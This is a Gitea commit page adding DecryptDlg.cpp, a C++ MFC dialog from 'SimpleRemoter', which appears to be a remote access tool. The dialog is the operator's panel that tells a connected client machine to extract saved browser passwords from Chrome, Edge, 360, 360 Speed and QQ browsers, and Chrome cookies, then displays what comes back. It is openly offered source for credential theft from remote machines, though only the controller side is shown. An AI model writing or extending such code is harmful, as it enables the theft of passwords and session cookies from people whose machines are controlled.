Init: Migrate SimpleRemoter (Since v1.3.1) to Gitea
This commit is contained in:
126
server/2015Remote/DecryptDlg.cpp
Normal file
126
server/2015Remote/DecryptDlg.cpp
Normal file
@@ -0,0 +1,126 @@
|
||||
#include "stdafx.h"
|
||||
#include "DecryptDlg.h"
|
||||
|
||||
|
||||
IMPLEMENT_DYNAMIC(DecryptDlg, CDialog)
|
||||
|
||||
DecryptDlg::DecryptDlg(CWnd* pParent, Server* IOCPServer, CONTEXT_OBJECT* ContextObject)
|
||||
: CDialogBase(DecryptDlg::IDD, pParent, IOCPServer, ContextObject, IDI_ICON_DECRYPT)
|
||||
{
|
||||
}
|
||||
|
||||
DecryptDlg::~DecryptDlg()
|
||||
{
|
||||
}
|
||||
|
||||
void DecryptDlg::DoDataExchange(CDataExchange* pDX)
|
||||
{
|
||||
__super::DoDataExchange(pDX);
|
||||
DDX_Control(pDX, IDC_DECRYPT_RESULT, m_EditDecrypedResult);
|
||||
}
|
||||
|
||||
|
||||
BEGIN_MESSAGE_MAP(DecryptDlg, CDialog)
|
||||
ON_WM_CLOSE()
|
||||
ON_WM_SIZE()
|
||||
ON_COMMAND(ID_DECRYPT_CHROME, &DecryptDlg::OnDecryptChrome)
|
||||
ON_COMMAND(ID_DECRYPT_EDGE, &DecryptDlg::OnDecryptEdge)
|
||||
ON_COMMAND(ID_DECRYPT_SPEED360, &DecryptDlg::OnDecryptSpeed360)
|
||||
ON_COMMAND(ID_DECRYPT_360, &DecryptDlg::OnDecrypt360)
|
||||
ON_COMMAND(ID_DECRYPT_QQ, &DecryptDlg::OnDecryptQQ)
|
||||
ON_COMMAND(ID_DECRYPT_CHROMECOOKIES, &DecryptDlg::OnDecryptChromeCookies)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
|
||||
// DecryptDlg 消息处理程序
|
||||
|
||||
|
||||
BOOL DecryptDlg::OnInitDialog()
|
||||
{
|
||||
__super::OnInitDialog();
|
||||
SetIcon(m_hIcon, FALSE);
|
||||
|
||||
CString str;
|
||||
str.FormatL("%s - 解密数据", m_IPAddress);
|
||||
SetWindowText(str);
|
||||
|
||||
BYTE bToken = COMMAND_NEXT;
|
||||
m_ContextObject->Send2Client(&bToken, sizeof(BYTE));
|
||||
m_EditDecrypedResult.SetWindowText(_TR("<<< 提示: 请在菜单选择解密类型 >>>") + CString("\r\n"));
|
||||
int m_nCurSel = m_EditDecrypedResult.GetWindowTextLengthA();
|
||||
m_EditDecrypedResult.SetSel((int)m_nCurSel, (int)m_nCurSel);
|
||||
m_EditDecrypedResult.PostMessage(EM_SETSEL, m_nCurSel, m_nCurSel);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
|
||||
VOID DecryptDlg::OnReceiveComplete()
|
||||
{
|
||||
if (m_ContextObject == NULL) {
|
||||
return;
|
||||
}
|
||||
auto result = m_ContextObject->GetBuffer(1);
|
||||
m_EditDecrypedResult.SetWindowTextA(CString(result));
|
||||
}
|
||||
|
||||
void DecryptDlg::OnClose()
|
||||
{
|
||||
CancelIO();
|
||||
// 等待数据处理完毕
|
||||
if (IsProcessing()) {
|
||||
ShowWindow(SW_HIDE);
|
||||
return;
|
||||
}
|
||||
CDialogBase::OnClose();
|
||||
}
|
||||
|
||||
void DecryptDlg::OnSize(UINT nType, int cx, int cy)
|
||||
{
|
||||
CDialogBase::OnSize(nType, cx, cy);
|
||||
if (m_EditDecrypedResult.GetSafeHwnd()) {
|
||||
m_EditDecrypedResult.MoveWindow(0, 0, cx, cy); // 占满整个对话框
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
void DecryptDlg::OnDecryptChrome()
|
||||
{
|
||||
BYTE bToken[32] = { COMMAND_LLQ_GetChromePassWord };
|
||||
m_ContextObject->Send2Client(bToken, sizeof(bToken));
|
||||
}
|
||||
|
||||
|
||||
void DecryptDlg::OnDecryptEdge()
|
||||
{
|
||||
BYTE bToken[32] = { COMMAND_LLQ_GetEdgePassWord };
|
||||
m_ContextObject->Send2Client(bToken, sizeof(bToken));
|
||||
}
|
||||
|
||||
|
||||
void DecryptDlg::OnDecryptSpeed360()
|
||||
{
|
||||
BYTE bToken[32] = { COMMAND_LLQ_GetSpeed360PassWord };
|
||||
m_ContextObject->Send2Client(bToken, sizeof(bToken));
|
||||
}
|
||||
|
||||
|
||||
void DecryptDlg::OnDecrypt360()
|
||||
{
|
||||
BYTE bToken[32] = { COMMAND_LLQ_Get360sePassWord };
|
||||
m_ContextObject->Send2Client(bToken, sizeof(bToken));
|
||||
}
|
||||
|
||||
|
||||
void DecryptDlg::OnDecryptQQ()
|
||||
{
|
||||
BYTE bToken[32] = { COMMAND_LLQ_GetQQBroPassWord };
|
||||
m_ContextObject->Send2Client(bToken, sizeof(bToken));
|
||||
}
|
||||
|
||||
|
||||
void DecryptDlg::OnDecryptChromeCookies()
|
||||
{
|
||||
BYTE bToken[32] = { COMMAND_LLQ_GetChromeCookies };
|
||||
m_ContextObject->Send2Client(bToken, sizeof(bToken));
|
||||
}
|
||||
Reference in New Issue
Block a user